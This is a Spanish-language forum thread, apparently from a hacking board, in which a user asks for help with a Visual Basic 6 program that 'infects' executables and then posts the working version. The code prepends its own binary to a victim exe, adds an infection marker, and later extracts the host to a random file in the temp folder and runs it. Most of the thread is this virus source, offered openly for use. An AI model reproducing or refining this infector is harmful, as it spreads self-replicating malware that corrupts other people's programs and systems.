Wenasss noches gente.
Tengo una duda/problemilla con mi aplicación. Os comento.
Estoy desarrollando un proyecto... blablabla (tipico xDD). Total, que realizo la infección de un exe abriendolo, cogiendo su codigo (victima), abriendo mi prog, cogiendo mi codigo (atacante?) y reescribiendo la victima con mi codigo, y despues con el suyo.
El tema está en que para hacer pruebas, lo que la victima hace es crear un txt llamado "hola", y mi prog crea otro txt llamado "bu.txt" (si, nombres originales... xDD). La "infección" va bien, el exe pesa lo suyo (victima+atacante), pero solo crea el fichero "bu.txt" (siempre y cuando primero inyecte mi codigo en primer lugar). La pregunta es: ¿no debería crear los 2 txt´s?. Ya se que es muy básico, pero necesito saber si una vez ejecutado mi codigo, el otro exe (la victima), sigue con lo suyo...
PD: La función la saque de este foro (http://foro.elhacker.net/programacion_visual_basic/source_infeccion_de_ejecutables_en_vb6-t160863.0.html (http://foro.elhacker.net/programacion_visual_basic/source_infeccion_de_ejecutables_en_vb6-t160863.0.html)). Como supongo que necesitais el codigo, lo adjunto.
Salu2 y gracias anticipadas!!!!!
Codigo "atacante"
Private Sub Form_Load()
Open App.Path & "\bu.txt" For Output As #2
Print #2, "aaaa"
Close #2
infectar ("prog1.exe")
Unload Me
End
End Sub
Function infectar(ByVal Victim As String)
On Error Resume Next
Dim VictimCode As String
Dim NewCode As String
Dim MyCode As String
'Mi codigo
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
MyCode = Input(LOF(1), 1)
Close #1
'Victima
Open Victim For Binary As #1
VictimCode = Input(LOF(1), 1)
Close #1
NewCode = MyCode & VictimCode
'Final
Open Victim For Binary As #1
Put #1, , NewCode
Close #1
End Function
Codigo "victima"
Private Sub Form_Load()
Open App.Path + "\hola.txt" For Output As #1
Print #1, "hola"
Close #1
Unload Me
End
End Sub
Coloca tu código entre [+code=vb][+/code] por favor (Sin el "+")
Gracias ;)
Ta ta, sorry por el despiste...
Alguno me exa una manilla ??
Ya sta, al final logré correr el huesped con un createprocess xDD.
Salu2!
Pongo el codigo funcionando (lanzando el huesped con un "shell")
Public Function Infectar(sArchivo As String)
Dim sMicodigo As String
Dim sVictima As String
Dim sNuevo As String
Open sArchivo For Binary As #1
sVictima = Space(LOF(1))
Get #1, , sVictima
Close #1
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
sMicodigo = Space(LOF(1))
Get #1, , sMicodigo
Close #1
sNuevo = sMicodigo & sVictima & "wG" 'Marca de infección
Open sArchivo For Binary As #1
Put #1, , sNuevo
Close #1
End Function
'Regenerar huesped
Public Function Regenerar(sArchivo As String)
Randomize
Dim sBuffer As String
Dim sVirus As String
Dim sFinal As String
sFinal = Environ("TMP") & "\" & Int((Rnd * 99999) + 3) & ".exe"
Const vsc = 20480 'Tamaño del virus
Open sArchivo For Binary As #1
sVirus = Space(vsc)
sBuffer = Space(LOF(1) - vsc)
Get #1, , sVirus
Get #1, , sBuffer
Close #1
Open sFinal For Binary As #1
Put #1, , sBuffer
Close #1
Shell sFinal
End Function